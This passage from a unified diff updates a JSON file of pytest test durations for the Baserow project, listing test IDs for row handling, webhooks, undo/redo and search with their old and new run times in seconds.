"tests/baserow/contrib/database/rows/test_row_history.py::test_row_history_handler_list_history_filters_with_registry": 0.11049074999755248, + "tests/baserow/contrib/database/rows/test_row_history.py::test_row_history_not_recorded_with_retention_zero_days": 0.15167054001358338, + "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_action_doesnt_insert_entries_if_row_doesnt_change": 0.214594458026113, + "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_dont_insert_entries_in_linked_rows_history_without_related_field": 0.252510043035727, + "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_insert_entries_in_linked_rows_history": 0.3637493340065703, + "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_insert_entries_in_linked_rows_history_in_multiple_tables": 0.8570535010076128, + "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_insert_entries_in_linked_rows_history_with_values": 0.3166882499936037, + "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_insert_multiple_entries_in_row_history": 0.19851974997436628, + "tests/baserow/contrib/database/rows/test_row_metadata_registry.py::test_merges_together_row_metadata_by_type_and_row_id": 0.012700707971816882, + "tests/baserow/contrib/database/rows/test_row_metadata_registry.py::test_nothing_registered_returns_empty_even_when_rows_provided": 0.013031042006332427, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_get_filters_for_related_webhook_to_call": 0.38677283402648754, "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_row_created_event_type": 0.07369725700118579, "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_row_deleted_event_type": 0.0708799490093952, "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_row_updated_event_type": 0.16024126800039085, - "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_created_event_type": 0.15425404200050252, - "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_created_event_type_test_payload": 0.16117666700029076, - "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_deleted_event_type": 0.15312854100102413, - "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_deleted_event_type_test_payload": 0.15452887500032375, - "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type": 0.24279016699983913, - "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_test_payload": 0.1531131669999013, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_creating_row": 0.18437320800057933, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_creating_rows": 0.1836327920000258, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_deleting_row": 0.19170945799942274, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_deleting_rows": 0.19353837500057125, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_importing_rows": 0.1848812070011263, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_moving_row": 0.18241924999983894, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_creating_row": 0.19756362499992974, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_creating_rows": 0.19519325000055687, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_deleting_row": 0.20810079099919676, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_deleting_rows": 0.20426749899979768, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_importing_rows": 0.23370566700032214, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_moving_row": 0.19292554199910228, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_update_rows": 0.20588129199950345, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_update_rows_interesting_field_types": 0.482787666999684, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_updating_row": 0.39091341600033047, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_update_rows": 0.18792750199918373, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_undo_moving_row_does_nothing_if_row_is_at_same_original_position": 0.17783999899984337, - "tests/baserow/contrib/database/rows/test_rows_actions.py::test_undo_redo_updating_row_dont_change_formula_field_values": 0.22386216599898034, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_create_row": 0.35112320900043414, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_create_rows_created_on_and_last_modified": 0.20183074999931705, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_create_rows_last_modified_by": 0.17937604200051283, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_delete_row": 0.44307716700041055, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_delete_rows_preserves_last_modified_by": 0.3034955009989062, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_extract_field_ids_from_string": 0.009555833001286373, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_extract_manytomany_values": 0.011063291999562352, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_extract_user_field_names_from_params": 0.008758458998272545, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row": 0.16048191800018685, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_performance_many_fields": 0.00011195900060556596, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_performance_many_rows": 0.00012291599978198064, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_custom_filters": 0.1628984169992691, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_search": 0.1716219589998218, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_view_group_by": 0.16805345800094074, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_view_group_by_and_view_sort": 0.1731277080007203, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_view_sort": 0.17064262599888025, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_field_ids_from_dict": 0.009042625000802218, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_include_exclude_fields": 0.032838459000231524, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_include_exclude_fields_with_user_field_names": 0.02797699900020234, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_row": 0.30487895799979015, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_before_row_triggering_full_table_order_reset": 0.15194045999942318, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_first_before_row": 0.14748637400043663, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_with_before_row": 0.14735962499980815, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_without_before_row": 0.14738141699945118, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_has_row": 0.1723800409999967, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_import_rows": 0.1856862500007992, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_move_row": 0.4432485829993311, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_recalculate_row_orders": 0.023922749999655935, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_restore_row": 0.18203245899985632, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_created_event_type": 0.11920700001064688, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_created_event_type_test_payload": 0.11275825000484474, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_created_event_type_without_webhook_event": 0.36111829199944623, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_deleted_event_type": 0.12465370900463313, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_deleted_event_type_test_payload": 0.12091333296848461, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_deleted_event_type_without_webhook_event": 0.3491255829867441, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_can_trigger_webhooks_in_linked_tables_without_additional_queries": 0.6983709160122089, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type": 0.266502333979588, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_can_trigger_webhooks_in_linked_tables_on_rows_created": 0.6573229589848779, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_can_trigger_webhooks_in_linked_tables_on_rows_deleted": 0.6499545420228969, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_can_trigger_webhooks_in_linked_tables_on_rows_updated": 0.7993055419938173, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_payload_for_linked_tables": 0.5650904170179274, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_skip_not_updated_fields": 0.3644022920343559, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_test_payload": 0.12333783396752551, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_event_type_without_webhook_event": 0.42771683301543817, + "tests/baserow/contrib/database/rows/test_row_webhook_event_types.py::test_rows_updated_payload_for_linked_tables_is_paginated": 0.6077512920310255, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_creating_row": 0.1629415430361405, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_creating_rows": 0.13155529199866578, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_deleting_row": 0.18781212499015965, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_deleting_rows": 0.21292799897491932, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_importing_rows": 0.1829042499884963, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_moving_row": 0.17006137597491033, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_creating_row": 0.18744479204178788, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_creating_rows": 0.21239554297062568, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_deleting_row": 0.207562457973836, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_deleting_rows": 0.2199550409859512, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_importing_rows": 0.2645932500308845, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_moving_row": 0.16799458302557468, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_update_rows": 0.1940489590051584, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_update_rows_interesting_field_types": 0.46842525000101887, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_redo_updating_row": 0.5957719160069246, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_can_undo_update_rows": 0.17087258299579844, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_import_rows_respects_primary_priority_sorting": 0.4228527499944903, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_undo_moving_row_does_nothing_if_row_is_at_same_original_position": 0.15851633399142884, + "tests/baserow/contrib/database/rows/test_rows_actions.py::test_undo_redo_updating_row_dont_change_formula_field_values": 0.275350875017466, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_can_move_rows_and_formulas_are_updated_correctly": 0.42641329098842107, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_create_row": 0.29224495799280703, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_create_rows_created_on_and_last_modified": 0.1470452930079773, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_create_rows_last_modified_by": 0.13608749900595285, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_delete_row": 0.299560040992219, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_delete_rows_permanently_delete": 0.1531498350086622, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_delete_rows_preserves_last_modified_by": 0.2318750839913264, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_extract_field_ids_from_list": 0.012633582984562963, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_extract_field_ids_from_string": 0.012644625006942078, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_extract_manytomany_values": 0.0255627500009723, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_extract_user_field_names_from_params": 0.012606959033291787, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_formula_referencing_fields_add_additional_queries_on_rows_created": 0.21486912498949096, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_formula_referencing_fields_add_additional_queries_on_rows_updated": 0.23420066499966197, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row": 0.13910862503689714, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_performance_many_fields": 7.945799734443426e-05, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_performance_many_rows": 0.00010200001997873187, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_custom_filters": 0.13893633297993802, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_search": 0.15950462603359483, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_view_group_by": 0.14969337396905757, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_view_group_by_and_view_sort": 0.15640987502411008, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_adjacent_row_with_view_sort": 0.14739250001730397, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_field_ids_from_dict": 0.012824124947655946, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_include_exclude_fields": 0.08089479300542735, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_include_exclude_fields_with_user_field_names": 0.057806582015473396, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_row": 0.22364504198776558, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_before_row_triggering_full_table_order_reset": 0.11573741701431572, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_first_before_row": 0.11108591497759335, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_with_before_row": 0.11774258298100904, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_get_unique_orders_without_before_row": 0.11436854099156335, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_has_row": 0.1513187100063078, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_import_rows": 0.1548696249956265, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_import_rows_with_read_only_field": 0.12064058298710734, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_move_row": 0.2928244590002578, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_recalculate_row_orders": 0.0529846660210751, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_restore_row": 0.16472295901621692, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_rows_created_is_not_sent_if_there_are_no_rows_to_create": 0.11319091697805561, "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_row": 0.17620342399982292, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_row_by_id": 0.3164584999994986, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_row_last_modified_by": 0.35209041699999943, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_rows_created_on_and_last_modified": 0.192894000000706, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_rows_last_modified_by": 0.4257475419999537, - "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_rows_return_original_values_and_fields_metadata": 0.2119704169990655, - "tests/baserow/contrib/database/search/test_search_compatibility.py::test_cyrillic_search_is_case_insensitive": 0.35066370900040056, - "tests/baserow/contrib/database/search/test_search_compatibility.py::test_search_compatibility_between_current_and_postgres": 0.7576101260001451, - "tests/baserow/contrib/database/search/test_search_compatibility.py::test_searching_across_fields_in_full_text_prevented": 0.3357158339995294, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_row_by_id": 0.22487000000546686, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_row_last_modified_by": 0.1978644170158077, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_rows_created_on_and_last_modified": 0.17899662398849614, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_rows_last_modified_by": 0.27937429200392216, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_rows_only_create_or_delete_differences_for_m2m_fields": 0.40784124899073504, + "tests/baserow/contrib/database/rows/test_rows_handler.py::test_update_rows_return_original_values_and_fields_metadata": 0.15556620800634846, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_database_search_excludes_trashed_workspaces": 0.3256782919925172, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_database_search_type_basic_functionality": 0.3320575409743469, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_database_search_with_permissions": 0.4097666669986211, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_field_definition_search_excludes_trashed_items": 0.3402267099590972, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_field_definition_search_type_basic_functionality": 0.34311666601570323, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_row_search_displays_primary_field_values_for_different_types": 1.3226377079554368, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_row_search_multiple_fields": 0.576627042988548, + "tests/baserow/contrib/database/search/test_database_search_types.py::test_row_search_type_basic_functionality": 0.4111618750030175, + "tests/baserow/contrib/database/search/test_search_compatibility.py::test_cyrillic_search_is_case_insensitive": 0.40175754102529027, + "tests/baserow/contrib/database/search/test_search_compatibility.py::test_search_compatibility_between_current_and_postgres": 0.9221433350176085, + "tests/baserow/contrib/database/search/test_search_compatibility.py::test_searching_across_fields_in_full_text_prevented": 0.3634341259894427, "tests/baserow/contrib/database/search/test_search_handler.py::test_create_tsvector_columns": 0.1531464159997995, - "tests/baserow/contrib/database/search/test_search_handler.py::test_escape_postgres_query_with_per_token_wildcard": 0.009068290997674922, - "tests/baserow/contrib/database/search/test_search_handler.py::test_escape_postgres_query_without_per_token_wildcard": 0.00896366600136389, - "tests/baserow/contrib/database/search/test_search_handler.py::test_escape_query": 0.008870751000358723, - "tests/baserow/contrib/database/search/test_search_handler.py::test_get_default_search_mode_for_table_with_tsvectors_for_templates": 0.008834709000439034, + "tests/baserow/contrib/database/search/test_search_handler.py::test_create_workspace_search_table": 0.029565541015472263, + "tests/baserow/contrib/database/search/test_search_handler.py::test_creating_a_snapshot_doesnt_schedule_search_updates": 0.46870229303021915, + "tests/baserow/contrib/database/search/test_search_handler.py::test_delete_search_data": 0.3750612490111962, + "tests/baserow/contrib/database/search/test_search_handler.py::test_delete_workspace_search_table": 0.03526112501276657, + "tests/baserow/contrib/database/search/test_search_handler.py::test_escape_postgres_query_with_per_token_wildcard": 0.012689916999079287, + "tests/baserow/contrib/database/search/test_search_handler.py::test_escape_postgres_query_without_per_token_wildcard": 0.012647458992432803, + "tests/baserow/contrib/database/search/test_search_handler.py::test_escape_query": 0.012733082985505462, + "tests/baserow/contrib/database/search/test_search_handler.py::test_get_default_search_mode_for_table_with_tsvectors_for_templates": 0.014961291977670044, "tests/baserow/contrib/database/search/test_search_handler.py::test_get_default_search_mode_for_table_with_tsvectors_supported": 0.008908334000807372, "tests/baserow/contrib/database/search/test_search_handler.py::test_get_default_search_mode_for_table_with_tsvectors_unsupported": 0.009104791002755519, - "tests/baserow/contrib/database/search/test_search_handler.py::test_get_fields_missing_search_index": 0.14897958399888012, + "tests/baserow/contrib/database/search/test_search_handler.py::test_get_default_search_mode_for_table_with_workspace_search_data": 0.026112374995136634, + "tests/baserow/contrib/database/search/test_search_handler.py::test_get_fields_missing_search_index": 0.127006625989452, + "tests/baserow/contrib/database/search/test_search_handler.py::test_initialize_missing_search_data": 0.14945712499320507, + "tests/baserow/contrib/database/search/test_search_handler.py::test_not_schedule_task_if_workspace_is_none": 0.09781904201372527, "tests/baserow/contrib/database/search/test_search_handler.py::test_querying_table_with_trashed_field_doesnt_include_its_tsv": 0.21896441599983518, + "tests/baserow/contrib/database/search/test_search_handler.py::test_search_data_updates_dont_clear_concurrent_updates": 0.4628982089634519, "tests/baserow/contrib/database/search/test_search_handler.py::test_split_update_into_chunks_by_ranges": 0.15698737600087043, "tests/baserow/contrib/database/search/test_search_handler.py::test_split_update_into_chunks_until_all_background_done": 0.1578542910019678, + "tests/baserow/contrib/database/search/test_search_handler.py::test_update_rows_create_update_entries_for_all_updated_fields": 0.3656440419727005, + "tests/baserow/contrib/database/search/test_search_handler.py::test_update_rows_process_update_entries": 0.13216220799949951, + "tests/baserow/contrib/database/search/test_search_handler.py::test_update_search_data": 0.5803573750017677, "tests/baserow/contrib/database/search/test_search_handler.py::test_update_tsvector_columns_locked_with_cache_lock_changed_rows_only_false": 0.01406029200006742, "tests/baserow/contrib/database/search/test_search_handler.py::test_update_tsvector_columns_locked_with_cache_lock_changed_rows_only_true": 0.014425667000068643, "tests/baserow/contrib/database/search/test_search_handler.py::test_update_tsvector_columns_locked_with_cache_lock_changed_rows_only_true_locked": 0.014347459000418894, @@ -4052,932 +6729,1503 @@ "tests/baserow/contrib/database/search/test_search_handler.py::test_updating_link_row_field_so_it_no_longer_has_related_field_syncs_tsvs": 0.30193824999969365, "tests/baserow/contrib/database/search/test_search_handler.py::test_updating_link_row_field_so_it_points_at_itself_and_back_syncs_tsvs": 0.2866897929998231, "tests/baserow/contrib/database/search/test_search_handler.py::test_updating_link_row_field_so_it_points_at_itself_and_back_with_related_syncs_tsvs": 0.30435708300046826, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_collaboratorfield_get_search_expression": 0.7350255419996756, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_datefield_with_time_get_search_expression": 0.33943899999940186, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_datefield_without_time_get_search_expression": 0.33758058399871516, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_duration_field_get_search_expression": 0.3455267499994079, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_emailfield_get_search_expression": 0.3310873320006067, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_filefield_get_search_expression": 0.352494375999413, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_last_modified_by_field_get_search_expression": 0.578818876000696, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_linkrowfield_get_search_expression": 0.5023279590004677, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_linkrowfield_get_search_expression_to_formula_button": 0.566893958000037, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_longtextfield_get_search_expression": 0.33442024899977696, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_lookupfield_get_search_expression": 0.5552223759996195, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_massive_textfield_get_search_expression": 2.353341084000931, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_multiselectfield_get_search_expression": 0.33443575000092096, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_numberfield_get_search_expression": 0.34047612599988497, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_singleselectfield_get_search_expression": 0.3282675840009688, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_textfield_get_search_expression": 0.33783225099978154, - "tests/baserow/contrib/database/search/test_search_indexing.py::test_urlfield_get_search_expression": 0.3326704580003934, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_collaboratorfield_get_search_expression": 0.6692960420332383, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_datefield_with_time_get_search_expression": 0.42817295802524313, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_datefield_without_time_get_search_expression": 0.3943065830389969, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_duration_field_get_search_expression": 0.3813120410195552, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_emailfield_get_search_expression": 0.38355804202728905, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_filefield_get_search_expression": 0.4139086250215769, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_last_modified_by_field_get_search_expression": 0.5525015409803018, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_linkrowfield_get_search_expression": 0.5639827919949312, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_linkrowfield_get_search_expression_to_formula_button": 0.7221846670145169, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_longtextfield_get_search_expression": 0.38547554198885337, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_lookupfield_get_search_expression": 0.7131043330591638, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_massive_textfield_get_search_expression": 3.6432602499844506, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_multiselectfield_get_search_expression": 0.377699083997868, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_numberfield_get_search_expression": 0.37980804199469276, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_singleselectfield_get_search_expression": 0.3847427490109112, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_textfield_get_search_expression": 0.3876999580243137, + "tests/baserow/contrib/database/search/test_search_indexing.py::test_urlfield_get_search_expression": 0.3833165830001235, + "tests/baserow/contrib/database/search/test_search_receivers.py::test_perm_deleted_database": 0.1639295830100309, + "tests/baserow/contrib/database/search/test_search_receivers.py::test_perm_deleted_field": 0.15598691700142808, + "tests/baserow/contrib/database/search/test_search_receivers.py::test_perm_deleted_row": 0.13245429197559133, + "tests/baserow/contrib/database/search/test_search_receivers.py::test_perm_deleted_rows": 0.12738629197701812, + "tests/baserow/contrib/database/search/test_search_receivers.py::test_perm_deleted_table": 0.15171249999548309, + "tests/baserow/contrib/database/search/test_search_receivers.py::test_perm_deleted_workspace": 0.22804741698200814, + "tests/baserow/contrib/database/search/test_search_receivers.py::test_schedule_update_search_data_is_triggered_on_first_view_load": 0.1239725420018658, "tests/baserow/contrib/database/search/test_search_signals.py::test_view_loaded_doesnt_run_for_existing_table_when_fts_disabled": 0.019271582998953818, "tests/baserow/contrib/database/search/test_search_signals.py::test_view_loaded_doesnt_run_for_existing_table_with_cols_already": 0.015229040999656718, "tests/baserow/contrib/database/search/test_search_signals.py::test_view_loaded_maybe_create_tsvector_does_not_raise_if_redis_down": 0.01506249999965803, - "tests/baserow/contrib/database/search/test_search_views.py::test_can_create_and_index_and_search_interesting_test_table": 5.374282545000824, - "tests/baserow/contrib/database/search/test_search_views.py::test_count_grid_with_compat_mode": 0.1694094579997909, - "tests/baserow/contrib/database/search/test_search_views.py::test_count_grid_with_full_text_with_count_mode": 0.3537155840003834, + "tests/baserow/contrib/database/search/test_search_tasks.py::test_periodic_check_pending_search_data": 0.408338500012178, + "tests/baserow/contrib/database/search/test_search_views.py::test_can_create_and_index_and_search_interesting_test_table": 18.16496841501794, + "tests/baserow/contrib/database/search/test_search_views.py::test_count_grid_with_compat_mode": 0.15999800100689754, + "tests/baserow/contrib/database/search/test_search_views.py::test_count_grid_with_full_text_with_count_mode": 0.38134429199271835, "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_defaults_to_compat_mode": 0.1052893609999046, - "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_defaults_to_compat_mode_when_env_var_not_set": 0.17755487599970365, - "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_defaults_to_mode_set_via_env_var": 0.17241266700057167, - "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_compat_mode": 0.17277316599938786, - "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_full_text_disabled_compat_mode_used": 0.1714927090006313, - "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_full_text_with_count_mode": 0.37628816700089374, - "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_invalid_mode": 0.1528645009993852, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_create_table": 0.21461999899838702, + "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_defaults_to_compat_mode_when_env_var_not_set": 0.16548820701427758, + "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_defaults_to_mode_set_via_env_var": 0.15889066600357182, + "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_compat_mode": 0.15734975002123974, + "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_full_text_disabled_compat_mode_used": 0.1547661250224337, + "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_full_text_with_count_mode": 0.37667104197316803, + "tests/baserow/contrib/database/search/test_search_views.py::test_search_grid_with_invalid_mode": 0.11781912500737235, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_handler_basic_search_workflow": 0.10930537499370985, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_context_creation": 0.08829979196889326, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_handler_has_more_logic": 0.14366075000725687, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_handler_permission_filtering": 0.178901915991446, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_handler_priority_ordering": 0.1425742509891279, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_handler_query_count": 0.10851658298633993, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_handler_result_serialization": 0.10747120901942253, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_handler_with_pagination": 0.12758941698120907, + "tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_search_handler_with_special_characters": 0.19478408197755925, + 